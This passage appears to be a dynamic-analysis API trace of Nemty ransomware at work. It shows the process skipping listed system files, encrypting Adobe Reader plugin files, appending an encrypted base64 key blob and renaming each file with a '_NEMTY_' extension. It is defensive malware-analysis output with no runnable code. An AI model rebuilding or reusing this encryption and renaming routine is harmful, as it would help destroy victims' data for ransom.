hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.155] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.155] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.NLD", cAlternateFileName="")) returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2=".") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="..") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="...") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="windows") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="$RECYCLE.BIN") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="rsa") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="NTDETECT.COM") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="ntldr") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="MSDOS.SYS") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="IO.SYS") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="boot.ini") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="boot.ini") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="AUTOEXEC.BAT") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="ntuser.dat") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="desktop.ini") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="CONFIG.SYS") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="RECYCLER") returned -1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="BOOTSECT.BAK") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="bootmgr") returned 1 [0191.155] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="programdata") returned -1 [0191.156] lstrcmpiW (lpString1="Mcimpp.NLD", lpString2="appdata") returned 1 [0191.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NLD", lpUsedDefaultChar=0x0) returned 10 [0191.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NLD", lpUsedDefaultChar=0x0) returned 10 [0191.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NLD", lpUsedDefaultChar=0x0) returned 10 [0191.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NLD", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NLD", lpUsedDefaultChar=0x0) returned 10 [0191.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.156] Sleep (dwMilliseconds=0x5) [0191.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259655f0, dwHighDateTime=0x1d561e8)) [0191.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x259655f0, dwHighDateTime=0x1d561e8)) [0191.161] GetLastError () returned 0x0 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.161] GetLastError () returned 0x0 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.161] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.161] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.161] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.161] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="4PjGIz+SEKVi1g3K/VH95dVdQI3G6l3i7UHudV2fisJMXxmYb3vK4PIUN6lOSDOs\r\nWTHEwkVtWiSCM0G85nDPta/Vsq6UiYLSh7pdjV4cXoF3TJjJNvDivB4xDM1DAV3h\r\ntN6MYmvxw1EPchZzUctgVQnESnTkM6IEQWM+m1ME4JEDCklbYmZjfR6Nxc+J+v7l\r\n8KJuiYyuuFQz5Fn9n9MLd/sJKm9r5O2qgyIDEy+lRKMOPQBFqMU95C7O+dBMi+sp\r\nsTMmcCIwuKN6TLCaUvCF8ovpcxLoc4yu4d/QS1lYudNxMq8d+N8LRCgt7KwOVrDs\r\nQkYZZmnGn559A/R9rxk3qQ==\r\n", pcchString=0x653e29c) returned 1 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.161] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.162] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.162] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.162] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.162] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.165] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.165] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.165] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.165] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.165] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.166] CloseHandle (hObject=0x2f0) returned 1 [0191.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.166] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NLD._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nld._nemty_kgobjgd_")) returned 1 [0191.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.167] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.NOR", cAlternateFileName="")) returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2=".") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="..") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="...") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="windows") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="$RECYCLE.BIN") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="rsa") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="NTDETECT.COM") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="ntldr") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="MSDOS.SYS") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="IO.SYS") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="boot.ini") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="boot.ini") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="ntuser.dat") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="desktop.ini") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="CONFIG.SYS") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="RECYCLER") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="BOOTSECT.BAK") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="bootmgr") returned 1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="programdata") returned -1 [0191.167] lstrcmpiW (lpString1="Mcimpp.NOR", lpString2="appdata") returned 1 [0191.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NOR", lpUsedDefaultChar=0x0) returned 10 [0191.167] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NOR", lpUsedDefaultChar=0x0) returned 10 [0191.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NOR", lpUsedDefaultChar=0x0) returned 10 [0191.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.168] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.NOR", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.NOR", lpUsedDefaultChar=0x0) returned 10 [0191.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.168] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.168] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.168] Sleep (dwMilliseconds=0x5) [0191.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2598b750, dwHighDateTime=0x1d561e8)) [0191.176] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2598b750, dwHighDateTime=0x1d561e8)) [0191.176] GetLastError () returned 0x0 [0191.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.176] GetLastError () returned 0x0 [0191.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.176] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.176] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.176] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.176] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="PIne6XaPzV/ptRRpz306WmyW/+rlkYt3EWQDX7xVmTiIIRj1UNGn4VyBNnzFrsHj\r\nnZ48R76hjwlSG+6UEsLea4MRKDQ35FUFWDz0/QsOkZ1QCOtS4IA8txJ0qIQ3XI46\r\nJWcJZRdj6ozA6+AWQF2q31AED2IFnpNuk20G4eSccdtlFTqxOkabhWnQP5TWMqJs\r\nfRk33GrKuDC3YjNWFSDUQHuI2EDX3r0lvnIPecV6Pu2kbwvRxZfoccwzZ8SH2cbv\r\n5zvqu7xy3i5/evC1DC9q2c1HJL6wakCqGqGiIs/5/9yuAGqSyZlCx3KUY1VWA+VU\r\nFVDrDcIuxwJtT2iOsd6FxQ==\r\n", pcchString=0x653e29c) returned 1 [0191.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.177] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.177] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=7680) returned 1 [0191.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0191.177] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.177] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1e00, lpOverlapped=0x0) returned 1 [0191.179] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.179] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1e00, lpOverlapped=0x0) returned 1 [0191.179] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.179] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0191.179] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.179] CloseHandle (hObject=0x2f0) returned 1 [0191.179] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.179] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.180] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.180] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 